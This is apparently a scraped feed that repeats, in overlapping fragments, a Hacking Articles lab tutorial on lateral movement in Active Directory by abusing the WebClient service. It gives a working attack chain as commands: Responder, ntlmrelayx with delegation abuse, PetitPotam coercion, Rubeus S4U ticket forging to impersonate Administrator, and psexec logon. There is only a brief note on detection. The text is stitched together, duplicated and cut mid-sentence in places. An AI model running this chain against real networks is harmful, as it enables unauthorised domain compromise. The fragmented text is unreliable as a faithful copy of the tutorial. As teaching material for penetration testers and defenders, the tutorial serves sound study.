You need to know this ZAP/Burp trick if you do mobile testing
Did you know you can use multiple proxies in burp and zap?Continue reading on Medium »
Read more...
Did you know you can use multiple proxies in burp and zap?Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Lateral Movement: WebClient Workstation Takeover
IntroductionThe article is based on @tifkin_’s idea that a workstation takeover, also known as lateral movement, is possible by abusing WebDAV shares. In Certified Pre-Owned whitepaper a technique called ESC8 was discussed. Lee hypothesized in the tweet that PetitPotam can be used in conjunction with NTLM Relay+WebDAV abuse to cause lateral movement by creating machine accounts first, and then using Resource-Based Constrained Delegation to generate tickets for any user. Using PetitPotam or PrinterBug, an HTTP authentication can be coerced and relayed to LDAP(S) on domain controllers. This relay can use Resource-Based Constrained Delegation abuse to compromise the relayed host. We will see how in this article. Table of Content* WebDav Protocol
* WebClient Service
* Background
* Demonstration
* Conclusion WebDav ProtocolAccording to Wikipedia, “WebDAV (Web Distributed Authoring and Versioning) is a set of extensions to the Hypertext Transfer Protocol (HTTP), which allows user agents to collaboratively author contents directly in an HTTP web server by providing facilities for concurrency control and namespace operations, thus allowing Web to be viewed as a writeable, collaborative medium and not just a read-only medium.” WebClient ServiceWebClient service allows users to connect to WebDav shares and write data onto the server. .NET based servers (like IIS) always use WebClient service for giving users WebDav shares’ access while other servers might not. The service is disabled/stopped by default but can be installed by referring to the guide here.
But just to give you a rundown of the commands, setup can be done as follows:
Install-WindowsFeature WebDAV-Redirector –Restart
Get-WindowsFeature WebDAV-Redirector | Format-Table –Autosize
Set-Service WebClient -StartupType Automatic
Set-Service MRxDAV -StartupType Automatic
Start-Service WebClient
Start-Service MRxDAV
Once the webclient service has been started you can verify it manually by the command
sc query webclient BackgroundOne constraint of the technique is that WebClient is not active by default. To learn how to activate it programmatically follow the link here but we won’t be showing that here. In this article, we have already set up machines with WebClient up and running.
Now, to exploit, we will first trigger the machine account’s authentication to our attacker system (by setting up a responder server and using PetitPotam to force authentication) then we will relay the authentication information to LDAPS in order to configure RBCD (resource-based constrained delegation) and finally use delegation to generate a service ticket and takeover multiple workstations.
I highly recommend reading our blog posts about PetitPotam and Resource-Based Constrained Delegation here and here for a better understanding of this article. DemonstrationPetitPotam or Print Spooler use the named pipe technique to exploit but first, we need to check if the web client is running or not. For the compromised local system, this can be checked using
sc query webclient
And if it is in a stopped state, it can be started using
sc start webclient Lee Christensen observed that a query to the named pipe “DAV RPC SERVICE” can confirm this remotely as well. G0ldenGunSec created a tool in C# that is capable to query the mentioned named pipe using execute-assembly. It can be found here. On the compromised system’s terminal we can execute the binary to check webclient service’s status on any number of systems in the format:
GetWebDAVStatus.exe server 1, server 2, server3…
Thus, to check WebClient service on 192.168.1.2 we do:
GetWebDAVStatus.exe 192.168.1.2
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh81JXmkDpvq0Va_tLrSvxD8pS2J9F0Gm2DvG2[...]
___________________________
@hacking_Attack
@Hacking_Video
Lateral Movement: WebClient Workstation Takeover
IntroductionThe article is based on @tifkin_’s idea that a workstation takeover, also known as lateral movement, is possible by abusing WebDAV shares. In Certified Pre-Owned whitepaper a technique called ESC8 was discussed. Lee hypothesized in the tweet that PetitPotam can be used in conjunction with NTLM Relay+WebDAV abuse to cause lateral movement by creating machine accounts first, and then using Resource-Based Constrained Delegation to generate tickets for any user. Using PetitPotam or PrinterBug, an HTTP authentication can be coerced and relayed to LDAP(S) on domain controllers. This relay can use Resource-Based Constrained Delegation abuse to compromise the relayed host. We will see how in this article. Table of Content* WebDav Protocol
* WebClient Service
* Background
* Demonstration
* Conclusion WebDav ProtocolAccording to Wikipedia, “WebDAV (Web Distributed Authoring and Versioning) is a set of extensions to the Hypertext Transfer Protocol (HTTP), which allows user agents to collaboratively author contents directly in an HTTP web server by providing facilities for concurrency control and namespace operations, thus allowing Web to be viewed as a writeable, collaborative medium and not just a read-only medium.” WebClient ServiceWebClient service allows users to connect to WebDav shares and write data onto the server. .NET based servers (like IIS) always use WebClient service for giving users WebDav shares’ access while other servers might not. The service is disabled/stopped by default but can be installed by referring to the guide here.
But just to give you a rundown of the commands, setup can be done as follows:
Install-WindowsFeature WebDAV-Redirector –Restart
Get-WindowsFeature WebDAV-Redirector | Format-Table –Autosize
Set-Service WebClient -StartupType Automatic
Set-Service MRxDAV -StartupType Automatic
Start-Service WebClient
Start-Service MRxDAV
Once the webclient service has been started you can verify it manually by the command
sc query webclient BackgroundOne constraint of the technique is that WebClient is not active by default. To learn how to activate it programmatically follow the link here but we won’t be showing that here. In this article, we have already set up machines with WebClient up and running.
Now, to exploit, we will first trigger the machine account’s authentication to our attacker system (by setting up a responder server and using PetitPotam to force authentication) then we will relay the authentication information to LDAPS in order to configure RBCD (resource-based constrained delegation) and finally use delegation to generate a service ticket and takeover multiple workstations.
I highly recommend reading our blog posts about PetitPotam and Resource-Based Constrained Delegation here and here for a better understanding of this article. DemonstrationPetitPotam or Print Spooler use the named pipe technique to exploit but first, we need to check if the web client is running or not. For the compromised local system, this can be checked using
sc query webclient
And if it is in a stopped state, it can be started using
sc start webclient Lee Christensen observed that a query to the named pipe “DAV RPC SERVICE” can confirm this remotely as well. G0ldenGunSec created a tool in C# that is capable to query the mentioned named pipe using execute-assembly. It can be found here. On the compromised system’s terminal we can execute the binary to check webclient service’s status on any number of systems in the format:
GetWebDAVStatus.exe server 1, server 2, server3…
Thus, to check WebClient service on 192.168.1.2 we do:
GetWebDAVStatus.exe 192.168.1.2
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh81JXmkDpvq0Va_tLrSvxD8pS2J9F0Gm2DvG2[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Lateral Movement: WebClient Workstation Takeover
Learn how to perform lateral movement by abusing WebClient service and WebDAV shares using NTLM relay and PetitPotam.
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Lateral Movement: WebClient Workstation Takeover IntroductionThe article is based on @tifkin_’s idea that a workstation takeover, also known as lateral movement, is possible by abusing WebDAV shares. In Certified Pre-Owned whitepaper a technique…
N0kqvcI9PzGNpMdB3YP-aYr12vdbdMiPeONOcyxQKRfATJHfBitsWd4uTHybq9lmlKwndDxfdqY5NX56RElFeXq3sNIv1WFj1BcOvtKFqe3aaH5BxakVB7pjK2DvLeDYZGgyH27k9Ik2ruuUKOi1ajA/s16000/1.png?w=640&ssl=1
Another tool to check the same thing is called webclientservicescanner developed in Python by pixis which can be downloaded here. It is capable to check machines in batches by specifying CIDR or IP addresses in the following format:
git clone https://github.com/Hackndo/WebclientServiceScanner
python3 setup.py
webclientservicescanner ignite.local/harshit:Password@1@192.168.1.2-192.168.1.4
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJfa-elVkhPW8boa1jaKE4muUfspb0T7J46UPL0bVc9NCQ2OgOGVXIIwjWRoddW-KjLCiQr2QTBi3PUijcAUFx6ggRSYB9mM02-ejIfJMxOe2cIFNx_x_vNcMPVF0gZYT0qJuGmY4r0U1-KUWprDIDBPTqXc3Bg01uB0osAvyny0oPYq45f4Tl3wnRLg/s16000/2.png?w=640&ssl=1
Crackmapexec tool in Impacket’s suite can also be used to do the same now. It is available by default in Kali too. The “-M” flag does this however, the attacker needs to have one valid set of credentials (even low priv should work)
crackmapexec smb 192.168.1.2 -u Harshit -p Password@1 -M webdav
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvDcMvkLClL6-7e3MQaOcH7AWOZapDE-3s4APkPHd5eJQXKi9jbZMhjjoA50Zd6Dzw1CyTW5i_85BfVM61mPJZlxttmgaja382xZLSgVDftOtVZo9FDvaIoXbHTLpbqUbtR1seZK44eANNDDuktcPsWF8dFjN77kpfW5gTLg3kFGgx4epyKzO74BzD1A/s16000/3.png?w=640&ssl=1
Let’s set up our responder first. Responder is required to get a network name. WebClient service works in such a way that clients authenticate using the network name. Responder can help us get that and thus, without it, the attack won’t work. We need to edit the Responder.conf file and turn off HTTP and SMB server as they’d clash with our NTLM relay server.
nano /usr/share/responder/Responder.conf
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0TThyD4UEa9KJr2TRnWFP_M2A1WS5T_Wqy3OeC_hdqp_668eY2O2Go2LQ3HZ0Lbo8fHfo7O7gxftESA_JiUqAh9W7vgEltFdOOO6z7VVQpsEaId7Lu-M2BPUpOe45jHqRfsK3eXm783QAPjnmHBvSd35Md0MW1EPmXwYt9dj8OW6Jv_wF5WXPehFX9w/s16000/4.png?w=640&ssl=1
Lastly, we need to set up an NTLM relay to configure RBCD (using -the delegate-access flag). Here, dc1.ignite.local is the DC whose LDAP we will be targeting.
ntlmrelayx.py -t ldaps://dc1.ignite.local --delegate-access -smb2support
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4hnYFzQlPYDEoEIZFoTgVKGsW4RVpUTZzo3Ljt29gFsPLlbTM_XlAo_0k4oazkkYK2ZUh7YiZPio44ysl19tYbO0N4CpAWzDC3ZzO_IrGiSJJEfybjNd57ZA3IrEW_obw2_dKXb5roTNzipk_Mm_KIoGZFZ5qBAXTB7Dv-OyMLK1XkwNnEnYWLbqndA/s16000/5.png?w=640&ssl=1
Now, we can start our responder too
responder -I eth0
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUHJE2DrM-yCwinZDmu0lkkPdCShwPJ7BSlO5VPEXnjlrca1XTh90FdQH8GFQ6e20SUT2r5mSz49zaJjSMvDtbezRHbPLG7CULC86F1h98cidI1C7pKmHz7qHqqzPefQl1TPxVwIJtbolY9-roF2u8GhOYZgMQ0M1z_y_ahv1fi1Wx9489-2hf8n06Vg/s16000/6.png?w=640&ssl=1
Once the responder has started you need to note the temporary network name Responder has assigned to the Kali system. This network name will be used in the next few steps to conduct the attack.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLBXvJ1ar_mTHpgILb2XlNs7098c3gxIFsmKCNkCLns_rEdSGuImEHOD_vrSgZzODAquwzzjjUF0-2UUj_fD-hmVnW6Ous8FH7uL6DSVyQ5mdjSbPF-Rc6RE9_AL7Bh0hVjgeNjQTux7H5EL1PFuNu2Oi5kp2fZTmgxtxQwWOOZ9fe2xJ7v2zRvhAMcQ/s16000/7.png?w=640&ssl=1
Let’s check if webclient in our target system is active or not
sc query webclilent
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzK1QAc-OARuOB0X2-dSZfcJXk1MO_VetuR69qyqX2xXnxik93XoDaB9RLUV3L9GZArV9HvQ-ryft0CCLE48mu2snz5R94cF7F3wQlan0u3KE5tiv0ba9gPgpijRs4ZTsH9bE-OcXfBayWP7S6Jzc_RgdTKTrfRoatQfh9h58MBRhrbyroOefV5Q_ybg/s16000/8.png?w=640&ssl=1
Now that our relays have been set up, we need to force authentication to this rogue server (responder). Many of the printspool[...]
___________________________
@hacking_Attack
@Hacking_Video
Another tool to check the same thing is called webclientservicescanner developed in Python by pixis which can be downloaded here. It is capable to check machines in batches by specifying CIDR or IP addresses in the following format:
git clone https://github.com/Hackndo/WebclientServiceScanner
python3 setup.py
webclientservicescanner ignite.local/harshit:Password@1@192.168.1.2-192.168.1.4
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJfa-elVkhPW8boa1jaKE4muUfspb0T7J46UPL0bVc9NCQ2OgOGVXIIwjWRoddW-KjLCiQr2QTBi3PUijcAUFx6ggRSYB9mM02-ejIfJMxOe2cIFNx_x_vNcMPVF0gZYT0qJuGmY4r0U1-KUWprDIDBPTqXc3Bg01uB0osAvyny0oPYq45f4Tl3wnRLg/s16000/2.png?w=640&ssl=1
Crackmapexec tool in Impacket’s suite can also be used to do the same now. It is available by default in Kali too. The “-M” flag does this however, the attacker needs to have one valid set of credentials (even low priv should work)
crackmapexec smb 192.168.1.2 -u Harshit -p Password@1 -M webdav
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvDcMvkLClL6-7e3MQaOcH7AWOZapDE-3s4APkPHd5eJQXKi9jbZMhjjoA50Zd6Dzw1CyTW5i_85BfVM61mPJZlxttmgaja382xZLSgVDftOtVZo9FDvaIoXbHTLpbqUbtR1seZK44eANNDDuktcPsWF8dFjN77kpfW5gTLg3kFGgx4epyKzO74BzD1A/s16000/3.png?w=640&ssl=1
Let’s set up our responder first. Responder is required to get a network name. WebClient service works in such a way that clients authenticate using the network name. Responder can help us get that and thus, without it, the attack won’t work. We need to edit the Responder.conf file and turn off HTTP and SMB server as they’d clash with our NTLM relay server.
nano /usr/share/responder/Responder.conf
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0TThyD4UEa9KJr2TRnWFP_M2A1WS5T_Wqy3OeC_hdqp_668eY2O2Go2LQ3HZ0Lbo8fHfo7O7gxftESA_JiUqAh9W7vgEltFdOOO6z7VVQpsEaId7Lu-M2BPUpOe45jHqRfsK3eXm783QAPjnmHBvSd35Md0MW1EPmXwYt9dj8OW6Jv_wF5WXPehFX9w/s16000/4.png?w=640&ssl=1
Lastly, we need to set up an NTLM relay to configure RBCD (using -the delegate-access flag). Here, dc1.ignite.local is the DC whose LDAP we will be targeting.
ntlmrelayx.py -t ldaps://dc1.ignite.local --delegate-access -smb2support
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4hnYFzQlPYDEoEIZFoTgVKGsW4RVpUTZzo3Ljt29gFsPLlbTM_XlAo_0k4oazkkYK2ZUh7YiZPio44ysl19tYbO0N4CpAWzDC3ZzO_IrGiSJJEfybjNd57ZA3IrEW_obw2_dKXb5roTNzipk_Mm_KIoGZFZ5qBAXTB7Dv-OyMLK1XkwNnEnYWLbqndA/s16000/5.png?w=640&ssl=1
Now, we can start our responder too
responder -I eth0
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUHJE2DrM-yCwinZDmu0lkkPdCShwPJ7BSlO5VPEXnjlrca1XTh90FdQH8GFQ6e20SUT2r5mSz49zaJjSMvDtbezRHbPLG7CULC86F1h98cidI1C7pKmHz7qHqqzPefQl1TPxVwIJtbolY9-roF2u8GhOYZgMQ0M1z_y_ahv1fi1Wx9489-2hf8n06Vg/s16000/6.png?w=640&ssl=1
Once the responder has started you need to note the temporary network name Responder has assigned to the Kali system. This network name will be used in the next few steps to conduct the attack.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLBXvJ1ar_mTHpgILb2XlNs7098c3gxIFsmKCNkCLns_rEdSGuImEHOD_vrSgZzODAquwzzjjUF0-2UUj_fD-hmVnW6Ous8FH7uL6DSVyQ5mdjSbPF-Rc6RE9_AL7Bh0hVjgeNjQTux7H5EL1PFuNu2Oi5kp2fZTmgxtxQwWOOZ9fe2xJ7v2zRvhAMcQ/s16000/7.png?w=640&ssl=1
Let’s check if webclient in our target system is active or not
sc query webclilent
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzK1QAc-OARuOB0X2-dSZfcJXk1MO_VetuR69qyqX2xXnxik93XoDaB9RLUV3L9GZArV9HvQ-ryft0CCLE48mu2snz5R94cF7F3wQlan0u3KE5tiv0ba9gPgpijRs4ZTsH9bE-OcXfBayWP7S6Jzc_RgdTKTrfRoatQfh9h58MBRhrbyroOefV5Q_ybg/s16000/8.png?w=640&ssl=1
Now that our relays have been set up, we need to force authentication to this rogue server (responder). Many of the printspool[...]
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - Hackndo/WebclientServiceScanner: Python tool to Check running WebClient services on multiple targets based on @leechristensen
Python tool to Check running WebClient services on multiple targets based on @leechristensen - Hackndo/WebclientServiceScanner
Hacking Articles Tips Tricks Videos Tutorials
N0kqvcI9PzGNpMdB3YP-aYr12vdbdMiPeONOcyxQKRfATJHfBitsWd4uTHybq9lmlKwndDxfdqY5NX56RElFeXq3sNIv1WFj1BcOvtKFqe3aaH5BxakVB7pjK2DvLeDYZGgyH27k9Ik2ruuUKOi1ajA/s16000/1.png?w=640&ssl=1 Another tool to check the same thing is called webclientservicescanner developed…
er attacks can do this. We will be using the petitpotam.exe file available here. Format is:
PetitPotam.exe relay-network-name@port/random_file Target-IP method
PetitPotam.exe WIN-AZGYNGYRUL1@80/raj 192.168.1.3 1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjO7WqV_QWLSeVg4oqgWY7WEBt2dXeZ0nw7Pvx0P_FqHfWTpIZd3mJ1YmuQ3zBD1Weln2naZjQo81lyH7sWwVYcNozKPoZXQ_4r8sLnM3JkCZD8Y4fPoVWj8t1VlIhEryALxTrq27TLI337gxRAZqTdNCi9Cumt2AOAjmGdsE3qKEDv6xlsASt1jqgUA/s16000/9.png?w=640&ssl=1
This way, the victim system reaches our NTLM relay. Responder helps us in accepting connections coming from PetitPotam as it provides us with a network name. Now, NTLM relay accepts the authentication request, relays it to LDAPS on the DC and creates a machine account (IWGADVYY$) with delegation privileges to the machine/computer account of the system we used to conduct the attack (workstation01). Hence, the newly created machine account can now impersonate any user related to the workstation01 account. (even admin!)
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq1IKxUIaELuAh7_hoRfaKfPfKVDokc8-cfQLiVL51NN61MKCCAV6Q_tzY9TvpizVaHTLjFwmJdKQRqzyMfbItn8iZSKldIM-rC5fpkbOp-I6zl4F8_nPRD5ydpUvctwQRVKTK5SEgTvx94LpILe_DiEnBvOebSWnVmZ0y2UARiJHAXMwRL3k3Awbz2g/s16000/10.png?w=640&ssl=1
An admin can detect such attacks by checking the computer account’s list and noting newly added computer accounts. In the admin system, we see our machine account has been added
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG5erzFeQaCWxcAYzgVAdMbsHyNjHXj5PMNIaSiS2lMvEuwvMmSEb2CXWhllYy1WUQ-53P3_y5ldWsYTdRCIs4-eqCjh00uKfN2fPhe5Jn_GMcGwiJVad4ToMR3tujFbujTRSqlht14U81Hy2_6nv3HOeLKyQ_fUv5WzuInrU24kWl2ddwzwu5rk8Y6g/s16000/11.png?w=640&ssl=1
This machine account has various permissions on the workstation01$ account which can be viewed under the security section.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp2U0HcpRWQWABmEUpizZX2UknDCunDqsiQOfGVaCO_VJVb9zsKWPolh5YRw5tIW27VotUPJ24eF8brb5ee6usEf0Frd3qc-iAJqdpvObc0R5eJ7zV5bFRq6vC4UqLbkiwUOZYF4Vm1pdZ_7kxi_ajoPYvW2AdrglDioFqcdOjY2zsCuQVoW_zUJvpqQ/s16000/12.png?w=640&ssl=1
Also, if you check workstation01$ attribute editor, you’d see that the msDS-AllowedToActOnBehalfOfOtherIdentity has been filled to delegate access to IWGADVYY$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdFMP8RsiDITjsZ7L4FKZ1AM5Gqcag2memSm9URdkYJ9G-CeKqPdsdapZeVsAsbrEz2lyoDFNAfw54poIpPx6wzcwBwPrW5hsNCtcxt7w4kgzxZ-xLoph_iFA2eXZL3PMBFej9fZ-8N4zPeqvGZtIEqMS8LWmd9c4e-xfla50w6ZaTlk-8kg7pGv01Kw/s16000/13.png?w=640&ssl=1
Now that the newly added computer’s credentials are available, we can use Rubeus.exe to generate hashes to be used later with s4u2proxy attack. In any Windows system available to you, download Rubeus and then open Powershell (as CMD has troubles processing certain special symbols used in passwords) and type the following command:
.\rubeus.exe hash /domain:ignite.local /user:IWGADVYY$ /password:']HzFe^[k5)lCH6R'
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh78oWH7hh1ihXii_o-1mB9-6_kujtGT1i98yFoFagTkKqogi4jUM1UeC80qk2VACwGn6MmygTOEpSMNh0f8fD8myDWiuEkXjjxQVnjEoj4UV44yDk3RR5JtGUeSLWzpKqhnnOUFgAyjaxDCTy2kDeaidZrqpzfsF4RIGJ_Pm8ow7jM6nAWgNXfwe4nyg/s16000/14.png?w=640&ssl=1
Any of the obtained hash should work with Rubeus flags (/rc4, /aes128 etc). We note the AES256 hash and then generate service tickets using Rubeus. Here, we can specify any user to impersonate and the service CIFS is to be chosen.
Rubeus.exe s4u /user:IWGADVYY$ /aes256:3A2DE2A575980D93A8C57710C65214AA1E55010B4C612FBE7620AE17F01EC753 /impersonateuser:Administrator /msdsspn:host/workstation01.ignite.local /altservice:cifs /nowrap /ptt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGfwndUAbrm-dBAFLpCflvTuulCuCRwRXXWUTLL9NQYBcAWVlnoN-gPApai2jTK-wkuCrUZAhyUr3mL4H2Ft4dKpe12_VQT2l68BoGtjMqti--VbpjL_t18923[...]
___________________________
@hacking_Attack
@Hacking_Video
PetitPotam.exe relay-network-name@port/random_file Target-IP method
PetitPotam.exe WIN-AZGYNGYRUL1@80/raj 192.168.1.3 1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjO7WqV_QWLSeVg4oqgWY7WEBt2dXeZ0nw7Pvx0P_FqHfWTpIZd3mJ1YmuQ3zBD1Weln2naZjQo81lyH7sWwVYcNozKPoZXQ_4r8sLnM3JkCZD8Y4fPoVWj8t1VlIhEryALxTrq27TLI337gxRAZqTdNCi9Cumt2AOAjmGdsE3qKEDv6xlsASt1jqgUA/s16000/9.png?w=640&ssl=1
This way, the victim system reaches our NTLM relay. Responder helps us in accepting connections coming from PetitPotam as it provides us with a network name. Now, NTLM relay accepts the authentication request, relays it to LDAPS on the DC and creates a machine account (IWGADVYY$) with delegation privileges to the machine/computer account of the system we used to conduct the attack (workstation01). Hence, the newly created machine account can now impersonate any user related to the workstation01 account. (even admin!)
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq1IKxUIaELuAh7_hoRfaKfPfKVDokc8-cfQLiVL51NN61MKCCAV6Q_tzY9TvpizVaHTLjFwmJdKQRqzyMfbItn8iZSKldIM-rC5fpkbOp-I6zl4F8_nPRD5ydpUvctwQRVKTK5SEgTvx94LpILe_DiEnBvOebSWnVmZ0y2UARiJHAXMwRL3k3Awbz2g/s16000/10.png?w=640&ssl=1
An admin can detect such attacks by checking the computer account’s list and noting newly added computer accounts. In the admin system, we see our machine account has been added
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG5erzFeQaCWxcAYzgVAdMbsHyNjHXj5PMNIaSiS2lMvEuwvMmSEb2CXWhllYy1WUQ-53P3_y5ldWsYTdRCIs4-eqCjh00uKfN2fPhe5Jn_GMcGwiJVad4ToMR3tujFbujTRSqlht14U81Hy2_6nv3HOeLKyQ_fUv5WzuInrU24kWl2ddwzwu5rk8Y6g/s16000/11.png?w=640&ssl=1
This machine account has various permissions on the workstation01$ account which can be viewed under the security section.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp2U0HcpRWQWABmEUpizZX2UknDCunDqsiQOfGVaCO_VJVb9zsKWPolh5YRw5tIW27VotUPJ24eF8brb5ee6usEf0Frd3qc-iAJqdpvObc0R5eJ7zV5bFRq6vC4UqLbkiwUOZYF4Vm1pdZ_7kxi_ajoPYvW2AdrglDioFqcdOjY2zsCuQVoW_zUJvpqQ/s16000/12.png?w=640&ssl=1
Also, if you check workstation01$ attribute editor, you’d see that the msDS-AllowedToActOnBehalfOfOtherIdentity has been filled to delegate access to IWGADVYY$
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdFMP8RsiDITjsZ7L4FKZ1AM5Gqcag2memSm9URdkYJ9G-CeKqPdsdapZeVsAsbrEz2lyoDFNAfw54poIpPx6wzcwBwPrW5hsNCtcxt7w4kgzxZ-xLoph_iFA2eXZL3PMBFej9fZ-8N4zPeqvGZtIEqMS8LWmd9c4e-xfla50w6ZaTlk-8kg7pGv01Kw/s16000/13.png?w=640&ssl=1
Now that the newly added computer’s credentials are available, we can use Rubeus.exe to generate hashes to be used later with s4u2proxy attack. In any Windows system available to you, download Rubeus and then open Powershell (as CMD has troubles processing certain special symbols used in passwords) and type the following command:
.\rubeus.exe hash /domain:ignite.local /user:IWGADVYY$ /password:']HzFe^[k5)lCH6R'
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh78oWH7hh1ihXii_o-1mB9-6_kujtGT1i98yFoFagTkKqogi4jUM1UeC80qk2VACwGn6MmygTOEpSMNh0f8fD8myDWiuEkXjjxQVnjEoj4UV44yDk3RR5JtGUeSLWzpKqhnnOUFgAyjaxDCTy2kDeaidZrqpzfsF4RIGJ_Pm8ow7jM6nAWgNXfwe4nyg/s16000/14.png?w=640&ssl=1
Any of the obtained hash should work with Rubeus flags (/rc4, /aes128 etc). We note the AES256 hash and then generate service tickets using Rubeus. Here, we can specify any user to impersonate and the service CIFS is to be chosen.
Rubeus.exe s4u /user:IWGADVYY$ /aes256:3A2DE2A575980D93A8C57710C65214AA1E55010B4C612FBE7620AE17F01EC753 /impersonateuser:Administrator /msdsspn:host/workstation01.ignite.local /altservice:cifs /nowrap /ptt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGfwndUAbrm-dBAFLpCflvTuulCuCRwRXXWUTLL9NQYBcAWVlnoN-gPApai2jTK-wkuCrUZAhyUr3mL4H2Ft4dKpe12_VQT2l68BoGtjMqti--VbpjL_t18923[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
er attacks can do this. We will be using the petitpotam.exe file available here. Format is: PetitPotam.exe relay-network-name@port/random_file Target-IP method PetitPotam.exe WIN-AZGYNGYRUL1@80/raj 192.168.1.3 1 https://i0.wp.com/blogger.googleuserconte…
CUWBn4Jnj3Lhka9AA2GB0nXIm3SzLGy7h6oKFZog_m9Io433V-FjfUkkhIVrj-VuQA/s16000/15.png?w=640&ssl=1
The same thing can be done remotely using the getST.py script. Refer to our article here to read more. As you would be able to see TGT request was successful and three service tickets would now be generated. The first ticket is the machine account’s own ticket. Second ticket is the Administrator account’s ticket and the third one is a CIFS ticket which is shown below. This can be viewed using klist command.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkyeNUtVozna7nX4myqXrHOSB_c15kPdxTnLeUnkGzAItIR4OisAcMfSpbZvE1ebHIP9zD3-nTRPZPgbOx83-0ltHM2VZH1zu1N8R8U1tILzAETh53HfrDuFy8_K0Yj5AtklN8zp8Y-aHBaUY9O8ljRaZnLnDFoxxWXH8fLqDI5IHH5w3MnqdXRt8Ghg/s16000/16.png?w=640&ssl=1
We will work with the last ticket collected. We copy this and decode this base64 value and copy it in a file called ticket.kirbi. Then, we will use ticketConverter.py to convert it to ccache file as kirbi is the format used by Rubeus but ccache is used by Impacket. Thereafter we set an environment variable KRB5CCNAME to this ticket’s path
echo "base64 value" | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi admin.ccache
export KRB5CCNAME=admin.ccache
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_2-DkHPAwc7qcuA91QA0H-2aP7wFy1GyGgG6Zojz-FT7VGzI9waJZzYRp9ds163jzc9dm9YrTnxZe9ms3_U3qCGoNfdNa49Cn8eV3_Zb36CO6YPVzr2Q9wyr65fk1DvEbzNu5Egly9Lp2WycCmh5i7DcO3wJfwvqUmktHt1ew5uhBcNkcoARrN3-gcg/s16000/17.png?w=640&ssl=1
Finally, we can use psexec to logon to impersonated account (Administrator) on workstation01
python3 psexec.py -k -no-pass ignite.local/Administrator@workstation01.ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3reHtTTHu2xOtyCAnUFRCbNd_jGY88QOzbMxTcM22SMlpqjT1yZmyu_-swqRZZclJDxDNb2H9wntVRSENElAAbMESu0uH7IcJWezDa_IbSfueBy0kr7GFD0i2dwxMaSVlYGu68xSkL10oXdPd1r9K19XxgZ69U0KcCwjoYndUZBKfmJbmOMtW1ZDUOw/s16000/18.png?w=640&ssl=1 ConclusionIn the article, we shed some light on abusing webdav shares and then moving laterally on a domain to compromise more computers. This was done by first creating a new machine account and giving delegation access (using PetitPotam) and then that account was used to impersonate other users.
The attack is rare in real life scenarios as WebClient has to be running which also limits the potential subset of lateral movement, however, with the right conditions it can cause heavy damage. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Lateral Movement: WebClient Workstation Takeover appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
The same thing can be done remotely using the getST.py script. Refer to our article here to read more. As you would be able to see TGT request was successful and three service tickets would now be generated. The first ticket is the machine account’s own ticket. Second ticket is the Administrator account’s ticket and the third one is a CIFS ticket which is shown below. This can be viewed using klist command.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkyeNUtVozna7nX4myqXrHOSB_c15kPdxTnLeUnkGzAItIR4OisAcMfSpbZvE1ebHIP9zD3-nTRPZPgbOx83-0ltHM2VZH1zu1N8R8U1tILzAETh53HfrDuFy8_K0Yj5AtklN8zp8Y-aHBaUY9O8ljRaZnLnDFoxxWXH8fLqDI5IHH5w3MnqdXRt8Ghg/s16000/16.png?w=640&ssl=1
